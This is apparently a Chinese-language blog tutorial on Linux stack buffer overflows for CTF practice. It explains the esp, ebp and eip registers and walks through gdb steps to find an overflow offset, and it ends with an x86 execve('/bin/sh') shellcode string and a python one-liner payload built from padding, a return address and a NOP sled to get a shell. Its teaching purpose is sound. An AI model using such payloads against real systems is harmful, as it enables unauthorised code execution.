网络攻防之——Linux缓冲区溢出基础
什么是缓冲区溢出?
我们知道,缓冲区就是暂时放置数据的地方,也就是说缓冲区其实就是变量,在程序开发中为了增加用户体验,往往需要用户输入,而用户的输入是不可控的,如果我们在程序中设定的缓冲区大小为32字节,那么用户输入超过32字节会怎么样呢?这样就会引发一个缓冲区溢出。通过溢出缓冲区可以控制栈中的ebp、eip等,这样就可以让目标系统实现特定的功能,拿到shell。这就是缓冲区溢出。
如何实现缓冲区溢出?
要实现缓冲区溢出,我们首先要有栈、汇编语言、寄存器等基础
- esp:栈顶指针,也叫栈指针
- ebp:栈底指针
- eip:返回地址指针
下面用一个例子来解释汇编语言
- C语言代码如下
1 | int swap(int *xp, int *yp){ |
下面是反汇编之后的汇编代码
- swap函数
1 | 00000000 <_swap>: |
- main函数
1 | 00000030 <_main>: |
详情参考此文章:CSAPP之栈帧结构理解
通过以上的学习,我们就能初步的看懂一些简单的汇编语言了,那么道理如何让缓冲区溢出,并且达到自己想要的目的呢?
我们知道eip是返回地址,也就是说它是程序下一跳的地址,那么我们就可以得出结论:通过缓冲区溢出,覆盖掉eip,这样就可以实现控制eip返回地址了,既然下一跳的地址都被我们控制了,那不是我们想让程序怎么执行就怎么执行了吗?
下面我们通过实验来讲解
- C语言程序如下
1 |
|
分析次程序可知,永远都不可能执行system命令的,但是我们可以通过缓冲区溢出来实现,具体的实现方法有很多种
- 覆盖func形参为0xcafebabe
1
eip随意 + 填充4字节 + 参数1地址(0xcafebabe)
- 直接调用system拿shell
1
system地址(eip) + 执行完system后下一跳 + system参数1(/bin/sh)
- 找出当前esp地址(eip后面就是esp)
1
esp地址(下一跳eip) + nop滑板(“\x90”) + shellcode(相当于system那条命令的16进制代码)
- ··········这里就不一一例举了,当然我也是个菜鸟,知道的也不多
当然根据编译时开启的防护与系统防护的不同,我们使用的方法也不同
具体请看CTF中pwn题的搭建
这里给出一个简短的shellcode代码
1 | "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" |
我们就通过找出当前esp地址来实现缓冲区溢出拿shell,这也是最基础的一种方法
首先我们通过gdb反汇编程序,分析一下该程序
在gdb中输入:disas 函数名
可见:首先把0xdeadbeef压栈,然后调用func方法
分析程序可以让我们可以更快的拿到自己想要的东西,通过分析,我们可以确定之前所说的第一种溢出方案拿shell,这里就不演示了,后续的练习文章中可以看到。
下面我们寻找溢出点
找溢出点比较麻烦,我们可以用python来帮助我们
1 | python -c 'print("A" * 44)' |
然后我们复制粘贴进去找溢出点
ps:A代表41 B代表42 C代表43
这里,我们找到溢出点为44个字节,那么我们就可以确定eip的位置就在 44-48 字节
然后我们输入:x/50x $esp
查看esp寄存器,50为查看数量
我们可以看到43,也就是C刚好就在esp的第一个,那么接下来就可以拼接溢出代码了
1 | python -c 'print("A" * 44 + p32(0xbffff080) + "\x90" * 100 + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80")' |
为什么选esp中的0xbffff080地址作为下一跳地址呢?
答:因为\x90代表0x90,它不进行任何操作,也不结束,一直向下执行,这样它就可以作为一个滑板,滑进我们的shellcode中了,所以eip的地址只要跳到0x90之中即可。